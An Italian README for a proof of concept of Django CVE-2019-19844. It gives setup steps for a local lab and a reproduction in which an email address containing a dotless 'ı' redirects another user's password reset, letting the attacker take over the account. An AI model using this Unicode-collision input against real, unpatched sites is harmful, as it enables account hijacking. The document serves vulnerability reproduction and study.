django_cve_2019_19844_poc

PoC per CVE-2019-19844

Requisiti

• Python 3.7.x
• PostgreSQL 9.5 o superiore

Configurazione

1. Crea il database (ad es. django_cve_2019_19844_poc)
2. Imposta il nome del database sulla variabile d'ambiente DJANGO_DATABASE_NAME(ad es. export DJANGO_DATABASE_NAME=django_cve_2019_19844_poc)
3. Esegui pip install -r requirements.txt && ./manage.py migrate --noinput
4. Crea il seguente utente con il comando shell:

>>> from django.contrib.auth import get_user_model
>>> User = get_user_model()
>>> User.objects.create_user('mike123', '[email protected]', 'test123')

Procedura di riproduzione

1. Esegui ./manage.py runserver
2. Apri http://127.0.0.1:8000/accounts/password-reset/
3. Inserisci mı[email protected] (email dell'attaccante) e fai clic sul pulsante di invio
4. Ricevi l'email (controlla la console) e reimposta la password
5. Accedi come utente mike123